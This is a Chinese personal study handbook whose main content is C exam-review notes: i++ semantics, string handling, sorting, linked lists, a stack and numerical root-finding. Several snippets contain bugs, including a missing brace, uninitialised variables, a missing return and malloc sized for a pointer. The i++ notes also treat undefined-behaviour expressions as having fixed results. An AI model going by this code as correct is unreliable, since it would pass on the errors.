光城手册¶
前言¶
关于手册¶
这本手册于2018年8月03日发布完成,使用的是 Sphinx 来生成文档,使用 Github 托管文档,并使用 Read the Doc 发布文档。
作者的话¶
1.人生苦短,我用python
2.深度学习,我用python
3.数据分析,我用python
4.微信公众号,我用node.js+koa框架
5.知识图谱,我用neo4j图数据库+d3.js
6.知识图谱,我用rdf+apache jena
7.数据可视化,我用d3.js
8.数据可视化,我用cytoscape.js
9.密码学,我用c、c++
10.人生经历,我用markdown … …
2016年5月9日开始撰写博客,首发csdn,后转向hexo,但是这些形式的文章都比较零散,无法形成一个比较系统的索引。
直至最后,我发现了Sphinx这个工具,生成的文档以电子书的形式来展示,非常符合我的预期。
直通车¶
编程语言¶
1.Python
- 莫烦Python
- Python - 伯乐在线
- Django的安装与服务器的搭建
- Python之路,Day1 - Python基础1
- Django~1 - Yuan先生 - 博客园
- 数盟
- 吴恩达机器学习
2.node.js
知识图谱¶
微信公众号开发¶
学术及软件¶
优秀网站¶
第一章:编程语言¶
这一章介绍的是Python语言,Node.js语言,C语言,C++语言,Java语言等,更多内容,待更新…
第一节:C系列¶
这一节介绍的是C系列,包括C语言、C++语言等,更多内容,待更新…
复试C语言¶

All Code¶
1.代码规律
/*
i++与++i
*/
#include<stdio.h>
int main()
{
int i = 0;
int a;
// i++;
// printf("%d\n",i); //i=1---i=i;i=i+1;
// ++i;
// printf("%d\n", i); //i=1---i=i+1;i=i;
// a = i++;
// printf("%d\n", a); //a=0 ---a=i;i=i+1;
// a = ++i;
// printf("%d\n", a); //a=1 ---i=i+1;a=i;
// a=i+i++;
// printf("%d\n", a); //a=0 ---a=i+i;i=i+1;
// a = i + ++i;
// printf("%d\n", a); //i=i+i->i=1->a=i+i;->a=2
// a = i + ++i + ++i;
// printf("%d\n", a);//i=i+1->i=1->i=i+1->i=2->a=i+i+i;a->6
// a = i + ++i + i++;
// printf("%d\n", a);//i++->最后进行加1,++i,此时加1,i=1->a=i+i+i;a=3;->i++中i操作,i=i+1
// i = i + ++i + i++;
// printf("%d\n",i);//i=4
// a = i + (i++) + (i++);
// printf("%d\n", a); //a=i+i+i;->i=i+1->i=1;->i=i+i->i=2;
// i = i + (i++) + (i++);
// printf("%d\n", i); //i=2
return 0;
}
2.i++ 与 ++i 的主要区别有两个:
>i++ 返回原来的值,++i 返回加1后的值。
>i++ 不能作为左值,而++i 可以。
*左值与右值的根本区别在于是否允许取地址&运算符获得对应的内存地址。*
>左值是对应内存中有确定存储地址的对象的表达式的值,而右值是所有不是左值的表达式的值。
int i=0;
int *p1=&(++i); //True
int *p2 = &(i++); //False
++i=1; //True
i++=5; //False
>大小写转化
#include<ctype.h>
toupper()/tolower()
例:str[i]=toupper(str[i]);
str[i]=tolower(str[i]);
>交换字符串
1.使用传字符串地址
strSwap(&str1,&str2);
void strSwap(char **pa,char **pb)
{
char *temp;
temp = *pa;
*pa = *pb;
*pb = temp;
}
2.使用strcpy函数
strswap(str1,str2);
void strswap(char *pa, char *pb)
{
char temp[100];
strcpy(temp, pa);
strcpy(pa, pb);
strcpy(pb, temp);
}
3.自写字符串交换函数
strswap(str1,str2);
void strswap(char *pa,char *pb)
{
char temp[100];
int i;
for(i=0;pa[i]!='\0';i++)
temp[i]=pa[i];
temp[i]='\0';
for(i=0;pb[i]!='\0';i++)
pa[i]=pb[i];
pa[i]='\0';
for(i=0;temp[i]!='\0';i++)
pb[i]=temp[i];
pb[i]='\0';
}
4.同3自写函数
strcp(char *p1, char *p2)
{
while((*p1=*p2)!='\0')
{
p1++;
p2++;
}
p1='\0';
}
void strswap(char *pa,char *pb)
{
char temp[100];
strcp(temp,pa);
strcp(pa,pb);
strcp(pb,temp);
}
>统计字符串中单词个数及对单词中第一个字符大写
int upfst(char *p)
{
int cong = 0; //判断前一字符是否为空格标志
int count = 0; //统计单词个数
//for (;*p;p++)
while(*p)
{
if (cong) //前一字符不为空格
{
if (*p == ' ')
cong = 0;
}
else //前一字符是空格操作
{
if (*p != ' ')
{
cong = 1;
*p = toupper(*p); //#include<ctype.h>
// *p = *p - 32; //转大写
count++;
}
}
p++;
}
return count;
}
>6.把字符串分别转换成面值相同的整数
long d = 0;
while (*s)
if (isdigit(*s))
{
d = d * 10 + *s - '0';
//或d = d * 10 + *s - 48;
s++;
}
>7.要产生[m,n]范围内的随机数num,可用:
int num=rand()%(n-m+1)+m;
>8.链表逆置
NODE *reverseList(NODE *h)
{
NODE *p, *q, *r;
p = h;
if (!p)
return NULL;
q = p->next;
p->next = NULL;
while (q)
{
r = q->next;
q->next = p;
p = q;
q = r
return p;
}
9.删除除了尾部之外的其余*号
void fun(char *a, char *p)
{
char *t = a;
//先把字符串中非*字符存储,此时指针刚好指到最后一个字母的下一个字符(此时为*)
for (; t <= p; t++)
if (*t != '*')
*(a++) = *t;
//若当前字符串未扫描完,继续将其余所有的*存储,就实现了删除尾部之外的其余*号
for (; *t != '\0'; t++)
*(a++) = *t;
*a = '\0';
}
10.只删除前面*号
char *p = a;
while (*p == '*')
p++;
for (; *p != '\0'; p++, a++)
*a = *p;
*a = '\0';
或者
char *p = a;
while (*p++ == '*')
p++;
strcpy(a,p)
11.打印操作
for (i = 0,j=0; i < k; i++,j++)
{
printf("%d",a[i]);
if (j < k - 1)
printf("+");
}
12.完数,例如6=1+2+3,即所有因子之和
int fun(int n, int a[], int *k)
{
int t = n;
int i, j=0;
for (i = 1; i < n; i++)
{
if (n%i == 0)
{
a[j++] = i;
t -= i;
}
}
*k = j;
if (t == 0)
return 1;
else return 0;
}
13.闰年
leap = (year % 4 == 0 && year % 100 != 0 || year % 400 == 0);
14.统计输入的数是几位数
int fun(int n)
{
int bits = 1;
while (n / 10)
{
bits++;
n /= 10;
}
return bits;
}
15.注意事项
1.gets/gets_s函数只能传数组名,而不能传指针
2.求int类型数组长度
a[]={1,6,8,3,6,0,10};
int len=sizeof(a)/sizeof(int);
16.排序算法
1.快速排序
void sort(int *p, int low, int high)
{
if (low > high)
return;
int temp, i, j, t;
temp = p[low];
i = low;
j = high;
while (i < j)
{
while (i<j&&p[j]>=temp)
j--;
while (i < j&&p[i] <= temp)
i++;
if (i < j)
{
t = p[i];
p[i] = p[j];
p[j] = t;
}
}
p[low] = p[i];
p[i] = temp;
sort(p,low,i-1);
sort(p,i+1,high);
}
2.冒泡排序
void sort(int *p, int n)
{
int i, j;
int t;
for (i = 0; i < n - 1; i++)
{
for(j=0;j<n-i-1;j++)
{
if (p[j] > p[j + 1])
{
t = p[j];
p[j] = p[j+1];
p[j + 1] = t;
}
}
}
}
3.选择排序
void sort(int *p, int n)
{
int i, j, k, temp;
for (i = 0; i < n-1; i++)
{
k = i;
for (j = i; j < n; j++)
{
if (p[k] > p[j])
k = j;
}
temp = p[i];
p[i] = p[k];
p[k] = temp;
}
}
4.直接插入排序
void sort(int *p, int n)
{
int i,j,k,t;
for(i=1;i<n;i++) //注意从第2个元素操作
{
if(p[i]<p[i-1])
{
t=p[i];
for(j=i-1;j>=0&&p[j]>t;j--)
{
p[j+1]=p[j];
}
}
p[j+1]=t;
}
}
换成字符操作
void sort(char *p)
{
int i,j,n;
char ch;
n=strlen(p);
for(i=i;i<n;i++)
{
ch=p[i];
j=i-1;
while((j>=0)&&(ch<p[j]))
{
p[j+1]=p[j];
j--;
}
p[j+1]=ch;
}
}
17.约瑟夫环
#include<stdio.h>
int main()
{
int out_person = 0;
int n,m,k;
printf("请输入人数:");
scanf("%d",&n);
printf("请输入逢几退一:");
scanf("%d", &m);
int i;
int a[100];
for (i = 0; i < n; i++)
a[i] = i+1;
i = 0;
while (out_person < n - 1)
{
if (a[i] != 0)
{
k++;
}
if (k == m)
{
a[i] = 0;
out_person++;
k = 0;
}
i++;
if (i == n)
i = 0;
}
int *p = a;
while (*p == 0)
p++;
printf("The last one is %d\n",*p);
return 0;
}
>四舍五入
通过float类型转变为int类型即可实现
float a;
假设a=5.6;
则四舍五入操作为:
int b=(int)(a+0.5);
>逗号表达式
>逗号表达式的要领:
>1.从左到右逐个计算;
>2.逗号表达式作为一个整体,它的值为最后一个表达式的值;
>3.逗号表达式的优先级别在所有运算符中最低。
x=y=1;
z=x++,y++,++y;
printf("x=%d,y=%d,z=%d",x,y,z);
由于赋值运算符优先级大于逗号表达式优先级,所以z=1;
x=2;y=3
若z=(x++,y++,++y)
则z=3;
x=2;y=3;
若z=(x++,++y,y++)
则z=2;
x=2;y=3;
同时也说明了一个问题对于z=(x++,y++,++y);中,y++执行完后,再去执行++y,即y++后,y变为2,++y变为3.而不是先y++,只按照赋值,后面+1未操作,这样是不对的。
带括号记住逗号表达式中取最后一个为逗号表达式的值,不带括号,要注意赋值运算或者其他运算,自左向右进行。
>void 类型指针
可以指向任何类型的数据,也可以用任意数据类型的指针对void指针赋值。
int *pint;
void *pvoid;
pvoid = pint; //right;
pint = pvoid; //error;
pint = (int *)pvoid;//right,强制转化可以
>动态分配
1.静态分配
int a[50];
int *p;
p=a;
2.动态分配
int *p=(int *)malloc(sizeof(int));
>质数分解
#include<stdio.h>
int main()
{
int i, j, val;
printf("请输入一个正整数:");
scanf("%d",&val);
printf("将该正整数分解质因数输出为:");
printf("%d=",val);
for (i = 2; i <val; i++)
{
if (val%i == 0)
{
printf("%d*", i);
val /= i;
}
}
printf("%d",val);
printf("\n");
return 0;
}
>栈实现括号匹配
#include<stdio.h>
#include<string.h>
#define MAX 999
int judge(char p[])
{
int len = strlen(p);
int top = -1;
char s[MAX];
int i;
for (i = 0; i < len; i++)
{
switch(p[i])
{
case '(':
case '[':
case '{':
s[++top] = p[i];
break;
case ')':
if (s[top] == '(')
top--;
else
return 0;
break;
case ']':
if (s[top] == '[')
top--;
else
return 0;
break;
case '}':
if (s[top] == '{')
top--;
else
return 0;
break;
}
}
if (top == -1)
return 1;
else
return 0;
}
>头插法
node * createlist()
{
int n;
node *head = (node *)malloc(sizeof(node));
node *p = head;
head->next = NULL;
if (head == NULL)
{
printf("申请空间失败!\n");
return NULL;
}
else
{
printf("请输入结点个数,n=");
scanf("%d",&n);
int i,num;
for (i = 0; i < n; i++)
{
printf("请输入第%d个结点数值:\n",i+1);
scanf("%d",&num);
/*
头插法思路:先判断是否为head结点,若为head结点,则将新造的结点先赋值,然后链接在head后面,并将此时结点的next设为空,因为此时表示末尾结点,否则会出错!!!
此次结束后,将p指向q所指的结点,然后新造结点将q结点的next链接到p,在往前,最后用将p结点链接至head结点后面即可!
*/
node *q = (node *)malloc(sizeof(node));
if (p == head)
{
head->next = q;
q->data = num;
q->next = NULL;
}
else
{
q->data = num;
q->next = p;
}
p = q;
}
head->next = p;
}
return head;
}
>求文件字节数
先fseek到末尾再用ftell得出当前位置,即为总文件字节数
fseek(fp,0l,SEEK_END);
int filesize=ftell(fp);
>读取文件中的数据
//读取文件中的数据
#include<stdio.h>
#include<malloc.h>
int main()
{
FILE *fp;
char *p;
fp = fopen("d:\\file.txt","r");
fseek(fp,0l,SEEK_END);
long filesize = ftell(fp);
rewind(fp);或者fseek(fp,0l,SEEk_SET);
p = (char *)malloc(filesize+1);
fread(p,1,filesize,fp);
p[filesize] = 0;
puts(p);
free(p);
fclose(fp);
return 0;
}
>字符串比较
int compare(char *s1, char *s2)
{
while (*s1&&*s2&&*s1 == *s2)
{
s1++;
s2++;
}
if (*s1 == '\0'&&*s2 == '\0')
return 0;
else
return *s1 - *s2;
}
>转二进制
void stobinary(int *p)
{
int i,j;
int k,result;
int m;
for (i=0,j=0;j<N;j++)
{
k = 1;
result = 0;
while (p[j])
{
m = p[j] % 2;
result += k*m;
k = k * 10;
p[j] /= 2;
}
a[i++] = result;
}
int t = i;
for (i = 0; i < t; i++)
{
printf("%3d\n",a[i]);
}
}
>三天打鱼两天晒网
#include<stdio.h>
int main()
{
int year, month, day;
int syear, smonth;
int a[13] = {0,31,28,31,30,31,30,31,31,30,31,30,31};
printf("Please input year.month.date:\n");
scanf("%d,%d,%d",&year,&month,&day);
int i,m;
syear = 0;
m = 365;
for (i = 1990; i < year; i++)
{
if ((i % 4 == 0 && i % 100 != 0) || (i % 400 == 0))
syear = m + 1;
else
syear = m;
}
smonth = 0;
int k;
//最后一年前几个月天数
for (i = 1; i < month; i++)
{
smonth += a[i];
}
if ((i % 4 == 0 && i % 100 != 0) || (i % 400 == 0))
if (month > 2)
{
smonth += 1;
}
i = syear + smonth + day;
k = i % 5;
if (k==1||k==2||k==3)
printf("今天打渔!\n");
else
printf("今天晒网!\n");
return 0;
}
>大小写转化
if (p[i] >= 'a'&&p[i] <= 'z')
//小写转大写
//s[i] = p[i] - 32;
//s[i]=p[i]-'a'+'A';
if (p[i] >= 'A'&&p[i] <= 'Z')
//大写转小写
s[i] = p[i] + 32;
//s[i] = p[i] - 'A' + 'a';
>字符数字转化为整型数字 '1'--> 1
#include<stdio.h>
int main()
{
char ch;
ch=getchar();
int a = ch - '0';
//int a = ch - 48;
printf("%d\n",a);
//数字转字符
int b = 98;
char ch1 = (char)b;
putchar(ch1);
return 0;
}
>最小公倍数与最大公约数
void fun(int m ,int n)
{
int r, rx;
rx = m*n;
while (n)
{
r = m%n;
m = n;
n = r;
}
printf("最大公约数为:%d\n",m);
printf("最小公倍数为:%d\n",rx/m);
}
>斐波那契数列
//递归实现
int fib1(int n)
{
if (n == 1 || n == 2)
return 1;
else
return fib1(n-1)+fib1(n-2);
}
//非递归实现
int fib2(int n)
{
int f1, f2, f3;
f1 = 1;
f2 = 1;
f3 = 0;
if (n == 1 || n == 2)
f3=1;
else
{
while (n > 2)
{
f3 = f1 + f2;
f1 = f2;
f2 = f3;
n--;
}
}
return f3;
}
>验证哥德巴赫猜想
>哥德巴赫猜想:任何一个大于6的偶数均可表示为两个素数之和。输入两个整数m,n(6小于等于m,m小于等于n,n小于等100),将m,n之间的偶数表示成两个素数之和
#include<stdio.h>
#include<math.h>
int main()
{
int isPrime(int n);
int n, m;
printf("请输入m和n:");
scanf("m=%d,n=%d",&m,&n);
int i,j,count=0;
if (m > 6)
{
for (i = m; i <= n; i++)
{
if (i % 2 == 0)
{
//注意此处为就j<=i/2
for (j = 2; j <= i / 2; j++)
{
if (isPrime(j) && isPrime(i - j))
{
printf("%d=%d+%d\n",i,j,i-j);
count ++;
break;
}
}
}
}
}
printf("%d到%d之间共有%d个哥德数.\n",m,n,count);
return 0;
}
int isPrime(int n)
{
int i,flag=1;
for (i = 2; i < sqrt(n); i++)
{
if (n == 2)
return flag;
else
{
if (n%i == 0)
{
flag = 0;
break;
}
}
}
}
>用穷举法求某数段的素数
#include<stdio.h>
int main()
{
int i, j;
int m, n;
int flag,count=0;
printf("请输入上下界:\n");
scanf("%d%d",&m,&n);
for (i = m; i <= n; i++)
{
flag = 1;
if (i == 1)
{
flag = 0;
continue;
}
for (j = 2; j < i; j++)
{
if (i%j == 0)
{
flag = 0;
break;
}
}
if (flag)
{
printf("%d是素数!\n",i);
count++;
}
}
printf("共%d个素数!\n",count);
return 0;
}
>水仙花数
>所谓 "水仙花数 "是指一个三位数,其各位数字立方和等于该数本身
#include<stdio.h>
int main()
{
int a, b, c;
int i,count=0;
for (i = 100; i < 1000; i++)
{
a = i / 100;
b = i % 100 / 10;
c = i % 100 % 10;
if (i == (a*a*a + b*b*b + c*c*c))
{
printf("a=%d,b=%d,c=%d\n", a, b, c);
printf("%d是水仙花数.\n",i);
count++;
}
}
printf("共%d个水仙花数\n",count);
return 0;
}
>完全平方数
#include<stdio.h>
#include<math.h>
int main()
{
int n;
printf("请输入一个整数:\n");
scanf("%d",&n);
//注意sqrt函数原型 ---- double sqrt(double x);
if (sqrt(n) == (int)sqrt(n))
{
printf("%d是完全平方数.\n", n);
printf("%d=%d*%d\n", n, (int)sqrt(n), (int)sqrt(n));
}
else
printf("%d不是完全平方数.\n", n);
return 0;
}
>完数
>一个数如果恰好等于它的因子之和,这个数就称为“完数”。例如6的因子为1,2,3,6=1+2+3,因此6是“完数”。编程找出1000之内的所有完数.
#include<stdio.h>
int main()
{
int i, sum, j, count=0, k;
int m;
int a[100];
for (i = 1; i <= 1000; i++)
{
sum = i;
k = 0;
for (j = 1; j < i; j++)
{
if (i%j == 0)
{
sum -= j;
a[k++] = j;
}
}
if (sum == 0)
{
printf("\n%d是完数!\n", i);
printf("其因子是:");
for (m = 0; m < k; m++)
printf("%d ",a[m]);
count++;
}
}
printf("\n共%d个完数!\n",count);
return 0;
}
>求近似数(如定积分、用牛顿迭代法或二分法或弦截法求多元方程的根)
牛顿迭代法
#include<stdio.h>
#include<math.h>
double func(double x)
{
return x*x*x*x - 3 * x*x*x + 1.5*x*x - 4.0;
}
double func1(double x)
{
return 4 * x*x*x - 9 * x*x + 3 * x;
}
int Newton(double *x,double precision,int maxcyc)
{
double x1, x0;
int k;
x0 = *x;
for (k = 0; k < maxcyc; k++)
{
if (func1(x0) == 0.0)
{
printf("迭代过程中导数为0!\n");
return 0;
}
x1 = x0 - func(x0) / func1(x0);
if (fabs(x1-x0) < precision || fabs(func(x1)) < precision)
{
*x = x1;
return 1;
}
else
{
x0 = x1;
}
}
printf("迭代次数超过预期!\n");
return 0;
}
int main()
{
double x, precision;
int maxcyc;
printf("输入初始迭代值x0:");
scanf("%lf",&x);
printf("输入最大迭代次数:");
scanf("%d", &maxcyc);
printf("迭代要求的精度:");
scanf("%lf", &precision);
if (Newton(&x, precision, maxcyc) == 1)
{
printf("该值附近的根为:%lf\n", x);
}
else
{
printf("迭代失败!\n");
}
return 0;
}
//精简版
#include<stdio.h>
#include<math.h>
double fun(double x)
{
return 2*x*x*x - 4*x*x + 3*x - 6;
}
double fun1(double x)
{
return 6*x*x - 8 * x + 3.0;
}
int main()
{
double x, x0, f,f1,precision;
printf("请输入初始x0:");
scanf("%lf",&x);
printf("请输入精度precision:");
scanf("%lf",&precision);
do
{
x0 = x;
f=fun(x0);
} while (fabs(x-x0)>= precision);
printf("%lf\n",x);
return 0;
}
二分法
1 确定区间[a,b],验证f(a)·f(b)<0
2 求区间(a,b)的中点x
3 判断
(1) 若f(a)·f(c)<0,则令b=x;
(2) 若f(x)·f(b)<0,则令a=x.
4 判断f(x)是否达到精确度ξ:即若┃f(c)┃<ξ,则x=c就是使f(x)接近零点的近似值,否则重复2-4.
#include<stdio.h>
#include<math.h>
int main()
{
double func(double x);
double root(double a, double b);
root(-10,10);
return 0;
}
double func(double x)
{
return 2 * x*x*x - 4 * x*x + 3 * x - 6.0;
}
double root(double a, double b)
{
double x;
double a1=a, b1=b;
x = (a + b) / 2;
if(func(x)==0.0)
{
printf("该方程在%lf到%lf区间内的根为:%lf.\n",a1,b1,x);
return x;
}
else
{
while (fabs(a - b) > 1e-6)
{
if (func(a)*func(x) < 0)
b = x;
else
a = x;
x = (a + b) / 2;
}
}
printf("该方程在%lf到%lf区间内的根为:%lf.\n", a1, b1, x);
return x;
}
弦截法
/*
函数方程:
y - f2 = (f2 - f1) / (x2 - x1)(x - x2);
化简得:
x=(f2*x1-f1*x2)/(f2-f1);
*/
#include<stdio.h>
#include<math.h>
double xpoint(double x1, double x2); //弦与x轴的交点横坐标
double root(double x1, double x2); //求根函数
double f(double x); //求x点的函数值
int main()
{
double x1, x2, f1, f2, x;
do
{
printf("请输入x1,x2:");
scanf("%lf,%lf",&x1,&x2);
f1 = f(x1);
f2 = f(x2);
} while (f1*f2>=0); //当循环运算到f(x1)*f(x2)>=0时(0是必要条件参数),即f(x1)、f(x2)同符号,且任一个接近于0时,意味着与x轴接近相交,此时存在一个方程实根。
x = root(x1,x2);
printf("方程的一个解为:%.2f\n",x);
return 0;
}
double xpoint(double x1, double x2)
{
double x = 0;
x = (x1*f(x2)-x2*f(x1)) / (f(x2)-f(x1));
return x;
}
double root(double x1,double x2)
{
double x, y, y1, y2;
y1 = f(x1);
y2 = f(x2);
do
{
x = xpoint(x1,x2);
y = f(x);
if (y*y1 > 0)
{
x1 = x;
y1 = y;
}
else
{
x2 = x;
y2 = y;
}
} while (fabs(y)>=0.00001);
return x;
}
double f(double x)
{
double y = 0;
y = x*x*x - 5 * x*x + 16 * x - 80;
return y;
}
>求两个矩阵之和、之积
#include<stdio.h>
#define N 2
int main()
{
void print(int(*a)[N]);
void vx(int(*a)[N], int(*b)[N]);
int i, j;
int a[N][N],b[N][N];
printf("输入两个矩阵:\n");
printf("矩阵1:\n");
for (i = 0; i < N; i++)
for (j = 0; j < N; j++)
scanf("%d",&a[i][j]);
printf("---------\n");
print(a);
printf("矩阵2:\n");
for (i = 0; i < N; i++)
for (j = 0; j < N; j++)
scanf("%d", &b[i][j]);
printf("---------\n");
print(b);
vx(a,b);
return 0;
}
void vx(int (*a)[N],int (*b)[N])
{
void print(int(*a)[N]);
int i,j,k,res;
int c[N][N],d[N][N];
for (i = 0; i < N; i++)
for (j = 0; j < N; j++)
{
res = 0;
c[i][j] = a[i][j] + b[i][j];
for(k=0;k<N;k++)
res += a[i][k] * b[k][j];
d[i][j]=res;
}
printf("两矩阵相加:\n");
print(c);
printf("两矩阵相乘:\n");
print(d);
}
void print(int (*a)[N])
{
int i,j;
for (i = 0; i < N; i++)
{
for (j = 0; j < N; j++)
printf("%d ",a[i][j]);
printf("\n");
}
}
>统计输入字符中的单词个数
#include<stdio.h>
int main()
{
int analysis(char *s);
char s[100];
int word;
gets_s(s);
word=analysis(s);
printf("该字符串中共有%d个单词.",word);
return 0;
}
int analysis(char *s)
{
char *p = s;
int len = 0;
while (*p++)
len++;
int i,flag=0,word=0;
for (i=0;i<len;i++)
{
if (flag==0)
{
if (s[i] != ' ')
{
word++;
flag = 1;
}
}
else
{
if (s[i] == ' ')
flag = 0;
}
}
return word;
}
>位运算
1.与 &
1&0=0;0&0=0;1&1=1;
2.或 |
1|0=1;0|0=0;1|1=1;
3.非 ~
~1=-2
~16=-17
00010000 16二进制数
11101111 16二进制数取非运算
取反+1即:
00010000+1=00010001=-17
4.异或
1^0=1;0^0=0;1^1=0
1.该函数给出一个字节中被置为1的位的个数
#include<stdio.h>
int main()
{
int sum = 0;
//题中给出一个字节,则占8位,取值范围为0~255
int a;
printf("请输入一个字节的数,以十进制输入:\n");
scanf("%d",&a);
if (a < 0 || a>255)
{
printf("error\n");
return 1;
}
int i, k=1;
for (i = 1; i < 9; i++)
{
if (a == (a | k))
sum++;
k *= 2;
}
printf("共%d位\n",sum);
return 0;
}
>复制字符串
#include<stdio.h>
#include<string.h>
int main()
{
char *Mystrcpy(char *s1, char *s2);
void print(char *s1);
char a[] = "adad";
char b[20],*s;
/*未封装函数*/
char *p1, *p2;
/*p1 = a;
p2 = b;*/
while (*p1 != '\0')
{
*p2 = *p1;
p1++;
p2++;
}
int i;
*p2 = '\0';
for (i = 0; b[i] != '\0'; i++)
{
printf("%c",b[i]);
}
printf("\n");
return 0;
/*封装函数后*/
s=Mystrcpy(b,a);
print(s);
}
/*复制字符串*/
/*方法一*/
char *Mystrcpy(char *s1,char *s2)
{
char *p1, *p2;
p1 = s1; p2 = s2;
/*方法一*/
/*while (*p2 != '\0')
{
*p1 = *p2;
p1++;
p2++;
}
*p1 = '\0';*/
/*方法二*/
//while (*p1++=*p2++);
/*方法三*/
//方法三实际上等价于方法二
//注意此处"="只有一个,为赋值运算并非等于运算
/*while (*p1=*p2)
{
p1++;
p2++;
}
*/
//方法四
/*
'\0'字符串对应的ASCII为0,当p2所指向的字符为'\0'时,此时退出循环,未将结束字符串标记赋值给p1所指向的字符串。故在最后加上*p1='\0'/
*/
do
{
*p1++ = *p2++;
} while (*p2);
*p1 = '\0';
/*
方法五
方法四等同于方法五
*/
while (*p2)
{
*p1++ = *p2++;
}
*p1 = '\0';
return s1;
}
void print(char *s1)
{
int i;
for (i = 0; s1[i] != '\0'; i++)
{
printf("%c", s1[i]);
}
printf("\n");
}
/*复制字符串最简单方法*/
#include<stdio.h>
#include<string.h>
int main()
{
char s1[] = "asda";
char s2[20];
strcpy(s2,s1);
printf("%s",s2);
}
>汉诺塔问题
#include<stdio.h>
int main()
{
void move(int n, char pre, char mid, char end);
int n;
printf("请输入要移动的块数:");
scanf("%d",&n);
move(n,'a','b','c');
}
void move(int n,char pre,char mid,char end)
{
if (n == 1)
printf("%c->%c\n",pre,end);
else
{
move(n - 1, pre, end, mid);
move(1,pre,mid,end);
move(n-1,mid,pre,end);
}
}
>issue
printf("x=%5f\n",x);//等价于printf("x=%.5f\n");
int scanf //T
float case //F
>同构数
>正整数n若是它平方数的尾部,则称n为同构数
#include<stdio.h>
int main()
{
int i;
for (i = 1; i < 100; i++)
{
int pow = i*i;
int a;
if (i < 10)
{
a = pow % 10;
if (i == a)
{
printf("%d是%d的同构数.\n",i,pow);
}
}
else if (i >= 10&i<100)
{
a = pow % 100;
if (i == a)
{
printf("%d是%d的同构数.\n", i, pow);
}
}
}
return 0;
}
#include"stdio.h"
int isomorphism(int i)
{
int mod;
if (i<10)
mod = 10;
else
mod = 100;
if (i == i*i%mod)
return 1;
return 0; //不是,则要明确返回0
}
void main()
{
int i;
printf("1~100之间的同构数有:\n");
for (i = 1; i<100; i++)
{
if (isomorphism(i) == 1)
printf("%4d", i);
}
printf("\n");
}
//判断是不是同构数函数
int fun(int n)
{
int a, b;
int m = n*n;
while (n)
{
a = n % 10, b = m % 10;
if (a != b)
break;
n /= 10;
m /= 10;
}
if (n)
return 0;
return 1;
}
/*单链表*/
#include<stdio.h>
#include<malloc.h>
typedef struct Node {
int data;
struct Node *PNext;
}Node, *PNode;
#define ERROR 0
#define OK 1
PNode create_list()
{
int len, i;
printf("请输入链表的长度:len=\n");
scanf("%d",&len);
PNode PHead = (PNode)malloc(sizeof(Node));
PHead->PNext = NULL;
PNode PTail=PHead;
for (i = 0; i < len; i++)
{
int val;
printf("请输入第%d个元素的值:",i+1);
scanf("%d",&val);
PNode PNew = (PNode)malloc(sizeof(Node));
PNew->data = val;
PNew->PNext = NULL;
PTail->PNext=PNew;
PTail = PNew;
}
return PHead;
}
void outLink(PNode pHead)
{
PNode p = pHead->PNext;
while (p)
{
printf("%d ",p->data);
p = p->PNext;
}
putchar('\n');
}
PNode reverse(PNode pHead)
{
PNode p = pHead->PNext;
PNode q,r;
q = p->PNext;
p->PNext = NULL;
while (q)
{
r = p;
p = q;
q = p->PNext;
p->PNext = r;
}
pHead->PNext = p;
return pHead;
}
int list_num(PNode pHead)
{
int num = 0;
PNode p = pHead->PNext;
while (p)
{
num++;
p = p->PNext;
}
return num;
}
//pos从1开始
/*
12345
有6个插入位置
*/
int insert_list(pnode phead, int val, int pos)
{
int i;
pnode p = phead->pnext;
int length = list_num(p);
if (pos<1 || pos>length+2)
return error;
else
{
i = 0;
//定位到pos前一位,在下标pos-1处插入结点,需要知道前一结点
while (p&&i < pos - 2)
{
i++;
p = p->pnext;
}
if (p||(i == pos - 2))
{
pnode pnew = (pnode)malloc(sizeof(pnode));
pnew->data = val;
if (pos == 1)
{
pnew->pnext = p;
phead->pnext = pnew;
}
else if (pos == length+2)
{
p->pnext = pnew;
pnew->pnext=null;
}
else
{
pnew->pnext = p->pnext;
p->pnext = pnew;
}
length++;
return ok;
}
else
return error;
}
}
int insert_list(PNode pHead, int val, int pos)
{
PNode p = pHead;
int length = list_num(p),i;
if (pos<0 || pos>length ||!p)
return ERROR;
else
{
i = -1;
while (p&&i < pos - 1)
{
i++;
p=p->PNext;
}
if (i == pos - 1 || p)
{
PNode PNew = (PNode)malloc(sizeof(PNode));
PNew->data = val;
if (i == -1)
{
PNew->PNext = pHead->PNext;
pHead->PNext = PNew;
}
else if (pos == length)
{
p->PNext = PNew;
PNew->PNext = NULL;
}
else
{
PNew->PNext = p->PNext;
p->PNext = PNew;
}
length++;
return OK;
}
else
return ERROR;
}
}
//删除,根据结点值删除
int delData(PNode pHead, int *val)
{
int length = list_num(pHead);
PNode p = pHead,q;
if (!p)
return ERROR;
while (p->PNext!=NULL)
{
if (p->PNext->data == *val)
{
q = p->PNext;
p->PNext = p->PNext->PNext;
free(q);
}
else
p = p->PNext;
}
return OK;
}
//删除,按照位置删除,且pos从1开始
int delpos(PNode pHead, int pos)
{
PNode q = pHead;
PNode p = q->PNext;
int length = list_num(pHead);
if (pos<1 || pos>length)
return ERROR;
else
{
int i = 1;
while (i < pos - 1)
{
i++;
q = p;
p = p->PNext;
}
if (pos == 1)
pHead->PNext = pHead->PNext->PNext;
else if (pos == length)
q->PNext = NULL;
length--;
return OK;
}
}
//或者pos从0开始计算
/*12345
有0~length范围可插入
*/
int main()
{
int num;
PNode PHead = create_list();
outLink(PHead);
num = list_num(PHead);
putchar('\n');
printf("共有%d个结点.\n", num);
PNode rp = reverse(PHead);
outLink(rp);
int val;
printf("请输入插入结点的值:");
scanf("%d", &val);
int pos;
printf("请输入插入结点的位置(从1开始):");
scanf("%d", &pos);
int flag = insert_list(rp, val, pos);
if (flag == 1)
{
printf("插入结点成功,共%d个结点\n", list_num(rp));
outLink(rp);
}
else
printf("插入失败.\n");
int data;
printf("请输入要删除的结点值:");
scanf("%d", &data);
int f = delData(rp, &data);
if (f == 1)
{
printf("删除%d成功!\n", data);
outLink(rp);
}
else
printf("删除结点不存在!\n");
int delposi;
printf("请输入要删除的位置:");
scanf("%d", &delposi);
int f1 = delpos(rp, delposi);
if (f1 == 1)
{
printf("删除第%d个位置成功!\n", delposi);
outLink(rp);
}
else
printf("删除位置不存在!\n");
}
/*
栈
*/
#include<stdio.h>
#define N 10
typedef struct Stack
{
int top;
int data[N];
}stack;
stack s = { -1,{0} };
int isempty()
{
if (s.top == -1)
return 1;
else
return 0;
}
void setEmpty()
{
s.top = -1;
}
int push(int data)
{
if (s.top + 1 <= N - 1)
{
s.data[++s.top] = data;
return 1;
}
else
{
return 0;
}
}
int pop()
{
if (isempty())
return -1;
else
return s.data[s.top--];
}
void tenTobinary(int n)
{
